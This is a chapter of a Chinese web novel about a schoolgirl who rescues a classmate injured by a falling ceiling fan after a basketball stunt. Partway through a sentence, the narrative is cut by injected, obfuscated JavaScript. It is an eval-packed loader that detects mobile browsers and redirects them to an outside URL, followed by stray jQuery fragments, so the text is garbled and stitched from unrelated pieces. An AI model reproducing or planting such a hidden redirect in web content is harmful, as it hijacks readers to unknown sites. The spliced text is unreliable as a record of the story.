坚持考完两天的月考,许思睿立马又龟缩回壳了,任由班主任费尽口舌也不愿去学校。
祝婴宁没有劝他,甚至躲着他走,因为她这两天在瞒着他干坏事——周天晴打算去监狱探望周天澜,她得找个机会把信件交给她。
时间约在周日中午,周天晴贴心地来到了她所在的百货大楼,就近寻了家餐厅请她吃饭。饭桌上也不过问许思睿的情况,只单纯关心她最近这段时间过得怎么样,还习惯吗,有任何困难都可以随时打电话找她帮忙。她声音好听,带点播音腔,说话语速不疾不徐,始终挂着甜蜜亲切的笑,祝婴宁被她哄得昏头昏脑,以至于午饭结束后,连自己书包里什么时候多了两个鼓鼓囊囊的红包都不知道。
想跑回去还给周天晴,人家已经开车离开了。
按照祝婴宁的性格,这笔零花钱她不仅不会用,后续还会另寻机会还给周天晴,可周天晴像是料准了她不会用一样,当晚特意打了个电话过来,说那笔钱是感谢她给许思睿补课的。
“要是没有你,他这次考试估计连去都不去了,这钱就当是他的学费和你的辛苦费,婴宁,你要是不收,就是让我难做,存心害我良心不安。我不管!我以后晚上都要睡不着了。”
撒娇赖皮的模样和中午那副温柔大姐姐的模样大相径庭,她哭笑不得,毫无办法,只好收下了。
周天晴出手大方,一给就给了两千,祝婴宁拆出来数了一下,越数,心脏愈感受惊过度,跳得不太舒服。可现在再打电话过去说不要,实在拖泥带水,黏糊得叫人恶心,她叹了口气,先留了一千,打算等许思睿生日时给他买礼物,这样的话这钱也算回流向周天晴的家人了,另外一千,她全部寄回了山里老家。
过完周末,周一去上学时,她先去许思睿班主任那问了他的成绩。老师把排名表拿给她,她看到上面的全级六十三名,觉得这名次还算正常,松了口气,道过谢便离开了。
回到自己的班级,早读正待开始,领读的同学站在讲台上无力地维持着纪律。
由于今天能够得知成绩,班上学生都很躁动,任凭带读的同学在讲台上喊得身心俱疲,也没几个人听话拿出课本,大家全在和前后桌攀谈,教室里嗡嗡的像是进了一群蜜蜂。郑泽楷甚至拿了个不知道从哪里找来的篮球,对着教室后排的墙壁练习投篮。
此番乱象,换成以前,祝婴宁肯定要出面管一管的,但她现在不是班长,名不正言不顺,只能坐在座位上徒劳地翻着课本。至于邹皓,他丢下一班同学,自个儿去老师办公室提前打探成绩了,不在班里。
其他班级陆陆续续响起了朗朗读书声,只有他们班还混乱一团,巡逻的教导主任走到这,大怒,从前门踱进来,屈起指关节使劲敲了敲门板,高声问:“怎么回事?!你们这个班怎么回事啊?!还早不早读了?眼里有没有纪律了?都给我安静!”
这才偃旗息鼓。
大家接连低下头,尽量避免和教导主任进行眼神接触,免得被当成活靶子,只有后排的郑泽楷还在不怕死地拍他的篮球。篮球和地面撞击,咚咚咚的声音响彻寂静的教室。
“你!最后面那个大高个,你还拍?!”教导主任气得声音都变调了,指着郑泽楷道,“把篮球给我拿过来!”
郑泽楷不耐烦地啧了声,目测了一下他和主任之间的距离——对角线,远得很。懒得走过去拿给她,干脆举起篮球,对准主任的方向摆好投篮姿势,把篮球扔了过去。
班上同学纷纷仰起头,像在目送导弹划过天际,瞠目结舌地目送那颗篮球从教室半空中飞过。
站在前门的教导主任更是瞪圆了眼睛,嘴巴张得能吞进鲸鱼。
就在大家以为篮球会以诡异的弧线掉进教导主任臂弯里,缔结出一个足以使后届学生传颂千古的经典画面时,篮球砸到了教室天花板的风扇上,哐啷一声,卡进了扇叶之间。
自夏天开完风扇到现在已经过去好几个月了,风扇上面堆积的灰尘没人清理,被篮球一砸,扑簌簌往下掉,如一场纷纷扬扬的大雪,全部都下在了不幸坐在风扇底下的邵彦君身上。
她那头精心打理的深棕色卷发瞬间变成了渐变色奶奶灰。
“……”
在一片窒息般的沉默中,邵彦君崩溃地尖叫起来。
大家都被接二连三出现的突发状况弄懵了,闻声皆是一颤,坐在邵彦君旁边的祝婴宁也被她的尖叫吓得一哆嗦,正迷茫着,突然听到尖叫声里夹杂着螺丝松动的声音,循着声音望过去,是邵彦君头顶的风扇——受了篮球撞击,固定风扇的螺丝松动了,整个风扇和风扇上的篮球都摇晃起来。
“小心!”她心都提到了嗓子眼,大喊一声,下意识伸手拽了邵彦君一把。
人在激愤时身体比石头还硬,这一拽没能把邵彦君整个人拉过来,只把她的上半身拽过来了,下半身还坐在原位。
紧接着一声沉闷的巨响,头顶的电风扇整个掉了下来,轰隆砸在她们的课桌上,地动山摇,把桌子都砸得滑开了,连带着一起掉落的还有数不尽的墙皮。
祝婴宁紧闭双眼,被墙皮和各种尘土噼里啪啦砸了满脸,半天都睁不开眼睛,也没法呼吸。等墙皮掉完了,班里已经彻底乱成了一锅粥,风扇三米开外的学生全都尖叫着弹开了,她们所在的中心区域变成了一道空阔的银河,河的一侧是挤在讲台上的前排学生,河的另一侧则是挤在教室后面的后排学生,她和邵彦君就像飘在银河中的两叶孤舟。
伸手拂开脸上的墙灰,再把头顶的碎块抖落,她看向撑在她身侧的邵彦君,问:“你没事儿吧?”
邵彦君呆呆地看着她,瞳孔放大,机械地说:“不不知道啊,我感觉腿上热热的……”
这句话一出口,大家全都看向了她的腿。这一看不要紧,别说学生,连教导主任都快吓尿了。
邵彦君的右腿在流血。
扇叶掉下来时划伤了她的大腿,伤口不大,不长,但血液所呈现出来的特殊的暗红色还是让祝婴宁的心沉了沉。
这是划到静脉了。
教导主任立刻拨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880677|171080||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开学生冲了过来,手要去扶邵彦君又不敢,一叠声问:“你感觉怎么样?还行吗?你还能撑住吗,同学?”又赶紧催身边的男生,“谁过来帮忙把这位女同学带去校医院?来个男生,男的,快!”自己则低头找出手机,即刻拨出校医院的值勤电话。
场面过于混乱,周围虽有男生,可大家都面面相觑,不敢随意上前搬动邵彦君,生怕造成什么二次损伤。
祝婴宁看了眼她的伤口,还在不断流血,怕失血过多,她伸手把邵彦君脖子上的围巾解了下来,在她大腿三分之一处缠绕了几圈,用力一勒,绑了一个结。
邵彦君吓傻了,平时话不多的人此刻化身超级话痨,喋喋不休地跟她说话:“不是,我怎么不疼啊?我是不是快死了……哇靠!你绑这么紧!你要勒死我?啊不行了不行了……现在开始疼了,我的腿好疼,救命!”
祝婴宁没有理会她,转身用手背拍了下戴以泽的胳膊,说:“你过来抱她去校医院,快。”
“对对,先按这位女同学说的做。”主任一边打电话告知校医院的校医这边的情况,一边分出精力指点现场。
戴以泽被她点到名,先是愣了愣,接着不由自主听从她的话挤到了人群前,伸手到邵彦君身下,试图将她抱起来。
第一次发力,没成功。
大家只当是戴以泽过于紧张导致的失误,也没催,只紧张地屏住呼吸看着他。
然而第二次发力,第三次发力……
在接连几次使劲儿都没把邵彦君抱起来,反而将自己累得满脸通红后,所有人都沉默了。
邵彦君更是在害怕自己死掉以及对自己体重的自我怀疑中哇的一声爆哭起来,伸手去扯戴以泽的头发,朝四面八方扯,一副跟他没完的架势。戴以泽唧唧歪歪埋怨着“姑奶奶,你到底有多重?!你是猪吗”,边持续使力,因忍痛和用力而憋得脸红脖子粗。
祝婴宁在旁边看得无名火起,伸手将戴以泽搡到一旁,喝道:“让开!”
这声“让开”短促而有力,配合手上的动作,戴以泽毫无防备,弱小无助地被她搡到了地面上,表情惊恐。
祝婴宁上前一步,二话不说,直接将邵彦君打横抱了起来,转身就朝校医院跑,跑的速度不算快,但步伐还算镇定,打着电话的教导主任见状都忘了继续说话。
“卧槽。”
郑泽楷自知闯了祸,原本缩在角落里,生怕其他人留意到他,见了此情此景,却也忍不住惊得爆了句粗口。
人群自动给她让开了一条道,许多同学排成长龙跟在她身后,有几个学生上前几步,帮忙扶稳邵彦君。外头正在早读的其他班级听到了他们班的响动,不断有学生从窗户或者前后门探出头,兴致勃勃地围观和叫嚷。
枯燥乏味的学生生涯,在数不尽的作业和考试中,任何迥异于寻常的变化都会激起大家的兴奋和好奇,无论是好事还是坏事,只要不是常事,都可变成趣事。
在大家或欢快或担忧的喧哗声里,女生公主抱女生的传奇正在生成。